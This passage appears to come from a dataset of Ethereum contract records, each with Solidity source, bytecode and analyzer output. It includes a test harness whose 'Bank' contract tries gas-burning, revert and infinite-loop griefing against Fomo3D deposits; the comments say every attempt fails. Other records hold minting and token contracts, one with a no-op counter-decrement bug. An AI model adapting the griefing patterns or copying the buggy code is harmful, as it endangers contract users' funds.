depositSuccessful_ = true; successfulTransactions_++; gasAfter_ = gasleft(); } } // some fomo3d function that deposits to Forwarder function someFunction2() public payable { // grab gas left gasBefore_ = gasleft(); // deposit to forwarder, uses low level call so forwards all gas if (!address(Jekyll_Island_Inc).call.value(msg.value)(bytes4(keccak256("deposit2()")))) { // give fomo3d work to do that needs gas. what better way than storage // write calls, since their so costly. depositSuccessful_ = false; gasAfter_ = gasleft(); } else { depositSuccessful_ = true; successfulTransactions_++; gasAfter_ = gasleft(); } } // some fomo3d function that deposits to Forwarder function someFunction3() public payable { // grab gas left gasBefore_ = gasleft(); // deposit to forwarder, uses low level call so forwards all gas if (!address(Jekyll_Island_Inc).call.value(msg.value)(bytes4(keccak256("deposit3()")))) { // give fomo3d work to do that needs gas. what better way than storage // write calls, since their so costly. depositSuccessful_ = false; gasAfter_ = gasleft(); } else { depositSuccessful_ = true; successfulTransactions_++; gasAfter_ = gasleft(); } } // some fomo3d function that deposits to Forwarder function someFunction4() public payable { // grab gas left gasBefore_ = gasleft(); // deposit to forwarder, uses low level call so forwards all gas if (!address(Jekyll_Island_Inc).call.value(msg.value)(bytes4(keccak256("deposit4()")))) { // give fomo3d work to do that needs gas. what better way than storage // write calls, since their so costly. depositSuccessful_ = false; gasAfter_ = gasleft(); } else { depositSuccessful_ = true; successfulTransactions_++; gasAfter_ = gasleft(); } } // for data tracking lets make a function to check this contracts balance function checkBalance() public view returns(uint256) { return(address(this).balance); } } // heres a sample forwarder with a copy of the jekyll island forwarder (requirements on // msg.sender removed for simplicity since its irrelevant to testing this. and some // tracking vars added for test.) // this is deployed on mainnet at: 0x8F59323d8400CC0deE71ee91f92961989D508160 contract Forwarder { // lets create some tracking vars bool public depositSuccessful_; uint256 public successfulTransactions_; uint256 public gasBefore_; uint256 public gasAfter_; // create an instance of the jekyll island bank Bank currentCorpBank_; // take an address in the constructor arguments to set up bank with constructor(address _addr) public { // point the created instance to the address given currentCorpBank_ = Bank(_addr); } function deposit() public payable returns(bool) { // grab gas at start gasBefore_ = gasleft(); if (currentCorpBank_.deposit.value(msg.value)(msg.sender) == true) { depositSuccessful_ = true; successfulTransactions_++; gasAfter_ = gasleft(); return(true); } else { depositSuccessful_ = false; gasAfter_ = gasleft(); return(false); } } function deposit2() public payable returns(bool) { // grab gas at start gasBefore_ = gasleft(); if (currentCorpBank_.deposit2.value(msg.value)(msg.sender) == true) { depositSuccessful_ = true; successfulTransactions_++; gasAfter_ = gasleft(); return(true); } else { depositSuccessful_ = false; gasAfter_ = gasleft(); return(false); } } function deposit3() public payable returns(bool) { // grab gas at start gasBefore_ = gasleft(); if (currentCorpBank_.deposit3.value(msg.value)(msg.sender) == true) { depositSuccessful_ = true; successfulTransactions_++; gasAfter_ = gasleft(); return(true); } else { depositSuccessful_ = false; gasAfter_ = gasleft(); return(false); } } function deposit4() public payable returns(bool) { // grab gas at start gasBefore_ = gasleft(); if (currentCorpBank_.deposit4.value(msg.value)(msg.sender) == true) { depositSuccessful_ = true; successfulTransactions_++; gasAfter_ = gasleft(); return(true); } else { depositSuccessful_ = false; gasAfter_ = gasleft(); return(false); } } // for data tracking lets make a function to check this contracts balance function checkBalance() public view returns(uint256) { return(address(this).balance); } } // heres the bank with various ways someone could try and migrate to a bank that // screws the tx. to show none of them effect fomo3d. // this is deployed on mainnet at: 0x0C2DBC98581e553C4E978Dd699571a5DED408a4F contract Bank { // lets use storage writes to this to burn up all gas uint256 public i = 1000000; uint256 public x; address public fomo3d; /** * this version will use up most gas. but return just enough to make it back * to fomo3d. yet not enough for fomo3d to finish its execution (according to * the theory of the exploit. which when you run this you&#39;ll find due to my * use of ! in the call from fomo3d to forwarder, and the use of a normal function * call from forwarder to bank, this fails to stop fomo3d from continuing) */ function deposit(address _fomo3daddress) external payable returns(bool) { // burn all gas leaving just enough to get back to fomo3d and it to do // a write call in a attempt to make Fomo3d OOG (doesn&#39;t work cause fomo3d // protects itself from this behavior) while (i > 41000) { i = gasleft(); } return(true); } /** * this version just tries a plain revert. (pssst... fomo3d doesn&#39;t care) */ function deposit2(address _fomo3daddress) external payable returns(bool) { // straight up revert (since we use low level call in fomo3d it doesn&#39;t // care if we revert the internal tx to bank. this behavior would only // screw over team just, not effect fomo3d) revert(); } /** * this one tries an infinite loop (another fail. fomo3d trudges on) */ function deposit3(address _fomo3daddress) external payable returns(bool) { // this infinite loop still does not stop fomo3d from running. while(1 == 1) { x++; fomo3d = _fomo3daddress; } return(true); } /** * this one just runs a set length loops that OOG&#39;s (and.. again.. fomo3d still works) */ function deposit4(address _fomo3daddress) public payable returns(bool) { // burn all gas (fomo3d still keeps going) for (uint256 i = 0; i <= 1000; i++) { x++; fomo3d = _fomo3daddress; } } // for data tracking lets make a function to check this contracts balance function checkBalance() public view returns(uint256) { return(address(this).balance); } }
0x60806040526004361061008d5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630c55699c811461009257806316390b69146100b957806380f5f907146100e1578063a41da348146100f5578063bbe26b4b14610126578063c71daccb1461013a578063e5aa3d581461014f578063f340fa0114610164575b600080fd5b34801561009e57600080fd5b506100a7610178565b60408051918252519081900360200190f35b6100cd600160a060020a036004351661017e565b604080519115158252519081900360200190f35b6100cd600160a060020a0360043516610185565b34801561010157600080fd5b5061010a6101ce565b60408051600160a060020a039092168252519081900360200190f35b6100cd600160a060020a03600435166101dd565b34801561014657600080fd5b506100a761021d565b34801561015b57600080fd5b506100a7610222565b6100cd600160a060020a0360043516610228565b60015481565b6000806000fd5b6000805b6103e881116101c85760018054810181556002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03861617905501610189565b50919050565b600254600160a060020a031681565b60005b60018054810190556002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0384161790556101e0565b506001919050565b303190565b60005481565b60005b61a0286000541115610215575a60005561022b5600a165627a7a72305820ce56f0cdb3c96d96e87ac80c9872b4fcbc5af217dc38254e0ef65291b7b30b500029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
8,839
0xe1bfea06b7659d9b4afb29addeeff02192375ba3
pragma solidity ^0.4.25; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /// @title Role based access control mixin for Rasmart Platform /// @author Abha Mai <maiabha82@gmail.com> /// @dev Ignore DRY approach to achieve readability contract RBACMixin { /// @notice Constant string message to throw on lack of access string constant FORBIDDEN = "Haven't enough right to access"; /// @notice Public map of owners mapping (address => bool) public owners; /// @notice Public map of minters mapping (address => bool) public minters; /// @notice The event indicates the addition of a new owner /// @param who is address of added owner event AddOwner(address indexed who); /// @notice The event indicates the deletion of an owner /// @param who is address of deleted owner event DeleteOwner(address indexed who); /// @notice The event indicates the addition of a new minter /// @param who is address of added minter event AddMinter(address indexed who); /// @notice The event indicates the deletion of a minter /// @param who is address of deleted minter event DeleteMinter(address indexed who); constructor () public { _setOwner(msg.sender, true); } /// @notice The functional modifier rejects the interaction of senders who are not owners modifier onlyOwner() { require(isOwner(msg.sender), FORBIDDEN); _; } /// @notice Functional modifier for rejecting the interaction of senders that are not minters modifier onlyMinter() { require(isMinter(msg.sender), FORBIDDEN); _; } /// @notice Look up for the owner role on providen address /// @param _who is address to look up /// @return A boolean of owner role function isOwner(address _who) public view returns (bool) { return owners[_who]; } /// @notice Look up for the minter role on providen address /// @param _who is address to look up /// @return A boolean of minter role function isMinter(address _who) public view returns (bool) { return minters[_who]; } /// @notice Adds the owner role to provided address /// @dev Requires owner role to interact /// @param _who is address to add role /// @return A boolean that indicates if the operation was successful. function addOwner(address _who) public onlyOwner returns (bool) { _setOwner(_who, true); } /// @notice Deletes the owner role to provided address /// @dev Requires owner role to interact /// @param _who is address to delete role /// @return A boolean that indicates if the operation was successful. function deleteOwner(address _who) public onlyOwner returns (bool) { _setOwner(_who, false); } /// @notice Adds the minter role to provided address /// @dev Requires owner role to interact /// @param _who is address to add role /// @return A boolean that indicates if the operation was successful. function addMinter(address _who) public onlyOwner returns (bool) { _setMinter(_who, true); } /// @notice Deletes the minter role to provided address /// @dev Requires owner role to interact /// @param _who is address to delete role /// @return A boolean that indicates if the operation was successful. function deleteMinter(address _who) public onlyOwner returns (bool) { _setMinter(_who, false); } /// @notice Changes the owner role to provided address /// @param _who is address to change role /// @param _flag is next role status after success /// @return A boolean that indicates if the operation was successful. function _setOwner(address _who, bool _flag) private returns (bool) { require(owners[_who] != _flag); owners[_who] = _flag; if (_flag) { emit AddOwner(_who); } else { emit DeleteOwner(_who); } return true; } /// @notice Changes the minter role to provided address /// @param _who is address to change role /// @param _flag is next role status after success /// @return A boolean that indicates if the operation was successful. function _setMinter(address _who, bool _flag) private returns (bool) { require(minters[_who] != _flag); minters[_who] = _flag; if (_flag) { emit AddMinter(_who); } else { emit DeleteMinter(_who); } return true; } } interface IMintableToken { function mint(address _to, uint256 _amount) external returns (bool); } /// @title Very simplified implementation of Token Bucket Algorithm to secure token minting /// @author Abha Mai <maiabha82@gmail.com> /// @notice Works with tokens implemented Mintable interface /// @dev Transfer ownership/minting role to contract and execute mint over AdvisorsBucket proxy to secure contract AdvisorsBucket is RBACMixin, IMintableToken { using SafeMath for uint; /// @notice Limit maximum amount of available for minting tokens when bucket is full /// @dev Should be enough to mint tokens with proper speed but less enough to prevent overminting in case of losing pkey uint256 public size; /// @notice Bucket refill rate /// @dev Tokens per second (based on block.timestamp). Amount without decimals (in smallest part of token) uint256 public rate; /// @notice Stored time of latest minting /// @dev Each successful call of minting function will update field with call timestamp uint256 public lastMintTime; /// @notice Left tokens in bucket on time of latest minting uint256 public leftOnLastMint; /// @notice Reference of Mintable token /// @dev Setup in contructor phase and never change in future IMintableToken public token; /// @notice Token Bucket leak event fires on each minting /// @param to is address of target tokens holder /// @param left is amount of tokens available in bucket after leak event Leak(address indexed to, uint256 left); /// @param _token is address of Mintable token /// @param _size initial size of token bucket /// @param _rate initial refill rate (tokens/sec) constructor (address _token, uint256 _size, uint256 _rate) public { token = IMintableToken(_token); size = _size; rate = _rate; leftOnLastMint = _size; } /// @notice Change size of bucket /// @dev Require owner role to call /// @param _size is new size of bucket /// @return A boolean that indicates if the operation was successful. function setSize(uint256 _size) public onlyOwner returns (bool) { size = _size; return true; } /// @notice Change refill rate of bucket /// @dev Require owner role to call /// @param _rate is new refill rate of bucket /// @return A boolean that indicates if the operation was successful. function setRate(uint256 _rate) public onlyOwner returns (bool) { rate = _rate; return true; } /// @notice Change size and refill rate of bucket /// @dev Require owner role to call /// @param _size is new size of bucket /// @param _rate is new refill rate of bucket /// @return A boolean that indicates if the operation was successful. function setSizeAndRate(uint256 _size, uint256 _rate) public onlyOwner returns (bool) { return setSize(_size) && setRate(_rate); } /// @notice Function to mint tokens /// @param _to The address that will receive the minted tokens. /// @param _amount The amount of tokens to mint. /// @return A boolean that indicates if the operation was successful. function mint(address _to, uint256 _amount) public onlyMinter returns (bool) { uint256 available = availableTokens(); require(_amount <= available); leftOnLastMint = available.sub(_amount); lastMintTime = now; // solium-disable-line security/no-block-members require(token.mint(_to, _amount)); return true; } /// @notice Function to calculate and get available in bucket tokens /// @return An amount of available tokens in bucket function availableTokens() public view returns (uint) { // solium-disable-next-line security/no-block-members uint256 timeAfterMint = now.sub(lastMintTime); uint256 refillAmount = rate.mul(timeAfterMint).add(leftOnLastMint); return size < refillAmount ? size : refillAmount; } }
0x6080604052600436106100fb5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663022914a78114610100578063170ab405146101355780632aff49d71461014d5780632c4e722e146101685780632f54bf6e1461018f57806334fcf437146101b057806336b40bb6146101c857806340c10f19146101dd57806369bb4dc2146102015780637065cb4814610216578063949d225d14610237578063983b2d561461024c5780639d4635201461026d578063aa271e1a14610282578063cd5c4c70146102a3578063d82f94a3146102c4578063f46eccc4146102e5578063fc0c546a14610306575b600080fd5b34801561010c57600080fd5b50610121600160a060020a0360043516610337565b604080519115158252519081900360200190f35b34801561014157600080fd5b5061012160043561034c565b34801561015957600080fd5b50610121600435602435610411565b34801561017457600080fd5b5061017d6104b3565b60408051918252519081900360200190f35b34801561019b57600080fd5b50610121600160a060020a03600435166104b9565b3480156101bc57600080fd5b506101216004356104d7565b3480156101d457600080fd5b5061017d610560565b3480156101e957600080fd5b50610121600160a060020a0360043516602435610566565b34801561020d57600080fd5b5061017d6106ca565b34801561022257600080fd5b50610121600160a060020a0360043516610729565b34801561024357600080fd5b5061017d6107ba565b34801561025857600080fd5b50610121600160a060020a03600435166107c0565b34801561027957600080fd5b5061017d61084b565b34801561028e57600080fd5b50610121600160a060020a0360043516610851565b3480156102af57600080fd5b50610121600160a060020a036004351661086f565b3480156102d057600080fd5b50610121600160a060020a03600435166108fa565b3480156102f157600080fd5b50610121600160a060020a0360043516610985565b34801561031257600080fd5b5061031b61099a565b60408051600160a060020a039092168252519081900360200190f35b60006020819052908152604090205460ff1681565b6000610357336104b9565b60408051808201909152601e8152600080516020610b9183398151915260208201529015156104075760405160e560020a62461bcd0281526004018080602001828103825283818151815260200191508051906020019080838360005b838110156103cc5781810151838201526020016103b4565b50505050905090810190601f1680156103f95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5050600255600190565b600061041c336104b9565b60408051808201909152601e8152600080516020610b9183398151915260208201529015156104905760405160e560020a62461bcd028152600401808060200182810382528381815181526020019150805190602001908083836000838110156103cc5781810151838201526020016103b4565b5061049a8361034c565b80156104aa57506104aa826104d7565b90505b92915050565b60035481565b600160a060020a031660009081526020819052604090205460ff1690565b60006104e2336104b9565b60408051808201909152601e8152600080516020610b9183398151915260208201529015156105565760405160e560020a62461bcd028152600401808060200182810382528381815181526020019150805190602001908083836000838110156103cc5781810151838201526020016103b4565b5050600355600190565b60055481565b60008061057233610851565b60408051808201909152601e8152600080516020610b9183398151915260208201529015156105e65760405160e560020a62461bcd028152600401808060200182810382528381815181526020019150805190602001908083836000838110156103cc5781810151838201526020016103b4565b506105ef6106ca565b9050808311156105fe57600080fd5b61060e818463ffffffff6109a916565b600555426004908155600654604080517f40c10f19000000000000000000000000000000000000000000000000000000008152600160a060020a038881169482019490945260248101879052905192909116916340c10f19916044808201926020929091908290030181600087803b15801561068957600080fd5b505af115801561069d573d6000803e3d6000fd5b505050506040513d60208110156106b357600080fd5b505115156106c057600080fd5b5060019392505050565b60008060006106e4600454426109a990919063ffffffff16565b915061070d600554610701846003546109bb90919063ffffffff16565b9063ffffffff6109e416565b9050806002541061071e5780610722565b6002545b9250505090565b6000610734336104b9565b60408051808201909152601e8152600080516020610b9183398151915260208201529015156107a85760405160e560020a62461bcd028152600401808060200182810382528381815181526020019150805190602001908083836000838110156103cc5781810151838201526020016103b4565b506107b48260016109f1565b50919050565b60025481565b60006107cb336104b9565b60408051808201909152601e8152600080516020610b91833981519152602082015290151561083f5760405160e560020a62461bcd028152600401808060200182810382528381815181526020019150805190602001908083836000838110156103cc5781810151838201526020016103b4565b506107b4826001610ac1565b60045481565b600160a060020a031660009081526001602052604090205460ff1690565b600061087a336104b9565b60408051808201909152601e8152600080516020610b9183398151915260208201529015156108ee5760405160e560020a62461bcd028152600401808060200182810382528381815181526020019150805190602001908083836000838110156103cc5781810151838201526020016103b4565b506107b48260006109f1565b6000610905336104b9565b60408051808201909152601e8152600080516020610b9183398151915260208201529015156109795760405160e560020a62461bcd028152600401808060200182810382528381815181526020019150805190602001908083836000838110156103cc5781810151838201526020016103b4565b506107b4826000610ac1565b60016020526000908152604090205460ff1681565b600654600160a060020a031681565b6000828211156109b557fe5b50900390565b60008215156109cc575060006104ad565b508181028183828115156109dc57fe5b04146104ad57fe5b818101828110156104ad57fe5b600160a060020a03821660009081526020819052604081205460ff1615158215151415610a1d57600080fd5b600160a060020a0383166000908152602081905260409020805460ff19168315801591909117909155610a8357604051600160a060020a038416907fac1e9ef41b54c676ccf449d83ae6f2624bcdce8f5b93a6b48ce95874c332693d90600090a2610ab8565b604051600160a060020a038416907fbaefbfc44c4c937d4905d8a50bef95643f586e33d78f3d1998a10b992b68bdcc90600090a25b50600192915050565b600160a060020a03821660009081526001602052604081205460ff1615158215151415610aed57600080fd5b600160a060020a0383166000908152600160205260409020805460ff19168315801591909117909155610b5357604051600160a060020a038416907f16baa937b08d58713325f93ac58b8a9369a4359bbefb4957d6d9b402735722ab90600090a2610ab8565b604051600160a060020a038416907f4a59e6ea1f075b8fb09f3b05c8b3e9c68b31683a887a4d692078957c58a12be390600090a2506001929150505600486176656e277420656e6f75676820726967687420746f206163636573730000a165627a7a7230582010993da5ca5cf2ca92b4fbb79c882ff713ea9ef55f1660af851498988c36f07d0029
{"success": true, "error": null, "results": {}}
8,840
0x679732680cc84afc00876b6ab813920dbb74506e
pragma solidity ^0.4.18; // solhint-disable-line library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC721 { function approve(address _to, uint256 _tokenID) public; function balanceOf(address _owner) public view returns (uint256 balance); function implementsERC721() public pure returns (bool); function ownerOf(uint256 _tokenID) public view returns (address addr); function takeOwnership(uint256 _tokenID) public; function totalSupply() public view returns (uint256 total); function transferFrom(address _from, address _to, uint256 _tokenID) public; function transfer(address _to, uint256 _tokenID) public; event Transfer(address indexed from, address indexed to, uint256 tokenID); // solhint-disable-line event Approval(address indexed owner, address indexed approved, uint256 tokenID); function name() public pure returns (string); function symbol() public pure returns (string); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Manageable is Ownable { address public manager; bool public contractLock; event ManagerTransferred(address indexed previousManager, address indexed newManager); event ContractLockChanged(address admin, bool state); function Manageable() public { manager = msg.sender; contractLock = false; } modifier onlyManager() { require(msg.sender == manager); _; } modifier onlyAdmin() { require((msg.sender == manager) || (msg.sender == owner)); _; } modifier isUnlocked() { require(!contractLock); _; } function transferManager(address newManager) public onlyAdmin { require(newManager != address(0)); ManagerTransferred(manager, newManager); manager = newManager; } function setContractLock(bool setting) public onlyAdmin { contractLock = setting; ContractLockChanged(msg.sender, setting); } function payout(address _to) public onlyOwner { if (_to == address(0)) { owner.transfer(this.balance); } else { _to.transfer(this.balance); } } function withdrawFunds(address _to, uint256 amount) public onlyOwner { require(this.balance >= amount); if (_to == address(0)) { owner.transfer(amount); } else { _to.transfer(amount); } } } contract TokenLayer is ERC721, Manageable { using SafeMath for uint256; /********************************************** EVENTS **********************************************/ event TokenCreated(uint256 tokenId, bytes32 name, uint256 parentId, address owner); event TokenDeleted(uint256 tokenId); event TokenSold( uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address winner, bytes32 name, uint256 parentId ); event PriceChanged(uint256 tokenId, uint256 oldPrice, uint256 newPrice); event ParentChanged(uint256 tokenId, uint256 oldParentId, uint256 newParentId); event NameChanged(uint256 tokenId, bytes32 oldName, bytes32 newName); event MetaDataChanged(uint256 tokenId, bytes32 oldMeta, bytes32 newMeta); /****************************************************************************************************/ /******************************************** STORAGE ***********************************************/ uint256 private constant DEFAULTPARENT = 123456789; mapping (uint256 => Token) private tokenIndexToToken; mapping (address => uint256) private ownershipTokenCount; address public gameAddress; address public parentAddr; uint256 private totalTokens; uint256 public devFee = 50; uint256 public ownerFee = 200; uint256[10] private chainFees = [10]; struct Token { bool exists; address approved; address owner; bytes32 metadata; bytes32 name; uint256 lastBlock; uint256 parentId; uint256 price; } /****************************************************************************************************/ /******************************************* MODIFIERS **********************************************/ modifier onlySystem() { require((msg.sender == gameAddress) || (msg.sender == manager)); _; } /****************************************************************************************************/ /****************************************** CONSTRUCTOR *********************************************/ function TokenLayer(address _gameAddress, address _parentAddr) public { gameAddress = _gameAddress; parentAddr = _parentAddr; } /****************************************************************************************************/ /********************************************** PUBLIC **********************************************/ function implementsERC721() public pure returns (bool) { return true; } function name() public pure returns (string) { return "CryptoCities"; } function symbol() public pure returns (string) { return "ResourceToken"; } function approve(address _to, uint256 _tokenId, address _from) public onlySystem { _approve(_to, _tokenId, _from); } function approve(address _to, uint256 _tokenId) public isUnlocked { _approve(_to, _tokenId, msg.sender); } function balanceOf(address _owner) public view returns (uint256 balance) { return ownershipTokenCount[_owner]; } function bundleToken(uint256 _tokenId) public view returns(uint256[8] _tokenData) { Token storage token = tokenIndexToToken[_tokenId]; uint256[8] memory tokenData; tokenData[0] = uint256(token.name); tokenData[1] = token.parentId; tokenData[2] = token.price; tokenData[3] = uint256(token.owner); tokenData[4] = _getNextPrice(_tokenId); tokenData[5] = devFee+getChainFees(_tokenId); tokenData[6] = uint256(token.approved); tokenData[7] = uint256(token.metadata); return tokenData; } function takeOwnership(uint256 _tokenId, address _to) public onlySystem { _takeOwnership(_tokenId, _to); } function takeOwnership(uint256 _tokenId) public isUnlocked { _takeOwnership(_tokenId, msg.sender); } function tokensOfOwner(address _owner) public view returns (uint256[] ownerTokens) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 _totalTokens = totalSupply(); uint256 resultIndex = 0; uint256 tokenId = 0; uint256 tokenIndex = 0; while (tokenIndex <= _totalTokens) { if (exists(tokenId)) { tokenIndex++; if (tokenIndexToToken[tokenId].owner == _owner) { result[resultIndex] = tokenId; resultIndex++; } } tokenId++; } return result; } } function totalSupply() public view returns (uint256 total) { return totalTokens; } function transfer(address _to, address _from, uint256 _tokenId) public onlySystem { _checkThenTransfer(_from, _to, _tokenId); } function transfer(address _to, uint256 _tokenId) public isUnlocked { _checkThenTransfer(msg.sender, _to, _tokenId); } function transferFrom(address _from, address _to, uint256 _tokenId) public onlySystem { _transferFrom(_from, _to, _tokenId); } function transferFrom(address _from, uint256 _tokenId) public isUnlocked { _transferFrom(_from, msg.sender, _tokenId); } function createToken( uint256 _tokenId, address _owner, bytes32 _name, uint256 _parentId, uint256 _price, bytes32 _metadata ) public onlyAdmin { require(_price > 0); require(_addressNotNull(_owner)); require(_tokenId == uint256(uint32(_tokenId))); require(!exists(_tokenId)); totalTokens++; Token memory _token = Token({ name: _name, parentId: _parentId, exists: true, price: _price, owner: _owner, approved : 0, lastBlock : block.number, metadata : _metadata }); tokenIndexToToken[_tokenId] = _token; TokenCreated(_tokenId, _name, _parentId, _owner); _transfer(address(0), _owner, _tokenId); } function createTokens( uint256[] _tokenIds, address[] _owners, bytes32[] _names, uint256[] _parentIds, uint256[] _prices, bytes32[] _metadatas ) public onlyAdmin { for (uint256 id = 0; id < _tokenIds.length; id++) { createToken( _tokenIds[id], _owners[id], _names[id], _parentIds[id], _prices[id], _metadatas[id] ); } } function deleteToken(uint256 _tokenId) public onlyAdmin { require(_tokenId == uint256(uint32(_tokenId))); require(exists(_tokenId)); totalTokens--; address oldOwner = tokenIndexToToken[_tokenId].owner; ownershipTokenCount[oldOwner] = ownershipTokenCount[oldOwner]--; delete tokenIndexToToken[_tokenId]; TokenDeleted(_tokenId); } function incrementPrice(uint256 _tokenId, address _to) public onlySystem { require(exists(_tokenId)); uint256 _price = tokenIndexToToken[_tokenId].price; address _owner = tokenIndexToToken[_tokenId].owner; uint256 _totalFees = getChainFees(_tokenId); tokenIndexToToken[_tokenId].price = _price.mul(1000+ownerFee).div(1000-(devFee+_totalFees)); TokenSold( _tokenId, _price, tokenIndexToToken[_tokenId].price, _owner, _to, tokenIndexToToken[_tokenId].name, tokenIndexToToken[_tokenId].parentId ); } function ownerOf(uint256 _tokenId) public view returns (address _owner) { require(exists(_tokenId)); _owner = tokenIndexToToken[_tokenId].owner; } function blocked(uint256 _tokenId) public view returns (bool _blocked) { return (tokenIndexToToken[_tokenId].lastBlock == block.number); } function exists(uint256 _tokenId) public view returns(bool) { return (tokenIndexToToken[_tokenId].exists); } /****************************************************************************************************/ /********************************************** SETTERS *********************************************/ function setLayerParent(address _parent) public onlyAdmin { parentAddr = _parent; } function setGame(address _gameAddress) public onlyAdmin { gameAddress = _gameAddress; } function setPrice(uint256 _tokenId, uint256 _price, address _owner) public onlySystem { require(_owns(_owner, _tokenId)); uint256 oldPrice = tokenIndexToToken[_tokenId].price; tokenIndexToToken[_tokenId].price = _price; PriceChanged(_tokenId, oldPrice, _price); } function setParent(uint256 _tokenId, uint256 _parentId) public onlyAdmin { require(exists(_tokenId)); uint256 oldParentId = tokenIndexToToken[_tokenId].parentId; tokenIndexToToken[_tokenId].parentId = _parentId; ParentChanged(_tokenId, oldParentId, _parentId); } function setName(uint256 _tokenId, bytes32 _name) public onlyAdmin { require(exists(_tokenId)); bytes32 oldName = tokenIndexToToken[_tokenId].name; tokenIndexToToken[_tokenId].name = _name; NameChanged(_tokenId, oldName, _name); } function setMetadata(uint256 _tokenId, bytes32 _metadata) public onlyAdmin { require(exists(_tokenId)); bytes32 oldMeta = tokenIndexToToken[_tokenId].metadata; tokenIndexToToken[_tokenId].metadata = _metadata; MetaDataChanged(_tokenId, oldMeta, _metadata); } function setDevFee(uint256 _devFee) public onlyAdmin { devFee = _devFee; } function setOwnerFee(uint256 _ownerFee) public onlyAdmin { ownerFee = _ownerFee; } function setChainFees(uint256[10] _chainFees) public onlyAdmin { chainFees = _chainFees; } /****************************************************************************************************/ /********************************************** GETTERS *********************************************/ function getToken(uint256 _tokenId) public view returns ( bytes32 tokenName, uint256 parentId, uint256 price, address _owner, uint256 nextPrice, uint256 nextPriceFees, address approved, bytes32 metadata ) { Token storage token = tokenIndexToToken[_tokenId]; tokenName = token.name; parentId = token.parentId; price = token.price; _owner = token.owner; nextPrice = _getNextPrice(_tokenId); nextPriceFees = devFee+getChainFees(_tokenId); metadata = token.metadata; approved = token.approved; } function getChainFees(uint256 _tokenId) public view returns (uint256 _total) { uint256 chainLength = _getChainLength(_tokenId); uint256 totalFee = 0; for (uint id = 0; id < chainLength; id++) { totalFee = totalFee + chainFees[id]; } return(totalFee); } function getChainFeeArray() public view returns (uint256[10] memory _chainFees) { return(chainFees); } function getPriceOf(uint256 _tokenId) public view returns (uint256 price) { require(exists(_tokenId)); return tokenIndexToToken[_tokenId].price; } function getParentOf(uint256 _tokenId) public view returns (uint256 parentId) { require(exists(_tokenId)); return tokenIndexToToken[_tokenId].parentId; } function getMetadataOf(uint256 _tokenId) public view returns (bytes32 metadata) { require(exists(_tokenId)); return (tokenIndexToToken[_tokenId].metadata); } function getChain(uint256 _tokenId) public view returns (address[10] memory _owners) { require(exists(_tokenId)); uint256 _parentId = getParentOf(_tokenId); address _parentAddr = parentAddr; address[10] memory result; if (_parentId != DEFAULTPARENT && _addressNotNull(_parentAddr)) { uint256 resultIndex = 0; TokenLayer layer = TokenLayer(_parentAddr); bool parentExists = layer.exists(_parentId); while ((_parentId != DEFAULTPARENT) && _addressNotNull(_parentAddr) && parentExists) { parentExists = layer.exists(_parentId); if (!parentExists) { return(result); } result[resultIndex] = layer.ownerOf(_parentId); resultIndex++; _parentId = layer.getParentOf(_parentId); _parentAddr = layer.parentAddr(); layer = TokenLayer(_parentAddr); } return(result); } } /****************************************************************************************************/ /******************************************** PRIVATE ***********************************************/ function _addressNotNull(address _to) private pure returns (bool) { return _to != address(0); } function _approved(address _to, uint256 _tokenId) private view returns (bool) { return (tokenIndexToToken[_tokenId].approved == _to); } function _owns(address claimant, uint256 _tokenId) private view returns (bool) { return claimant == tokenIndexToToken[_tokenId].owner; } function _checkThenTransfer(address _from, address _to, uint256 _tokenId) private { require(_owns(_from, _tokenId)); require(_addressNotNull(_to)); require(exists(_tokenId)); _transfer(_from, _to, _tokenId); } function _transfer(address _from, address _to, uint256 _tokenId) private { ownershipTokenCount[_to]++; tokenIndexToToken[_tokenId].owner = _to; tokenIndexToToken[_tokenId].lastBlock = block.number; if (_from != address(0)) { ownershipTokenCount[_from]--; tokenIndexToToken[_tokenId].approved = 0; } Transfer(_from, _to, _tokenId); } function _approve(address _to, uint256 _tokenId, address _from) private { require(_owns(_from, _tokenId)); tokenIndexToToken[_tokenId].approved = _to; Approval(_from, _to, _tokenId); } function _takeOwnership(uint256 _tokenId, address _to) private { address newOwner = _to; address oldOwner = tokenIndexToToken[_tokenId].owner; require(_addressNotNull(newOwner)); require(_approved(newOwner, _tokenId)); _transfer(oldOwner, newOwner, _tokenId); } function _transferFrom(address _from, address _to, uint256 _tokenId) private { require(_owns(_from, _tokenId)); require(_approved(_to, _tokenId)); require(_addressNotNull(_to)); _transfer(_from, _to, _tokenId); } function _getChainLength(uint256 _tokenId) 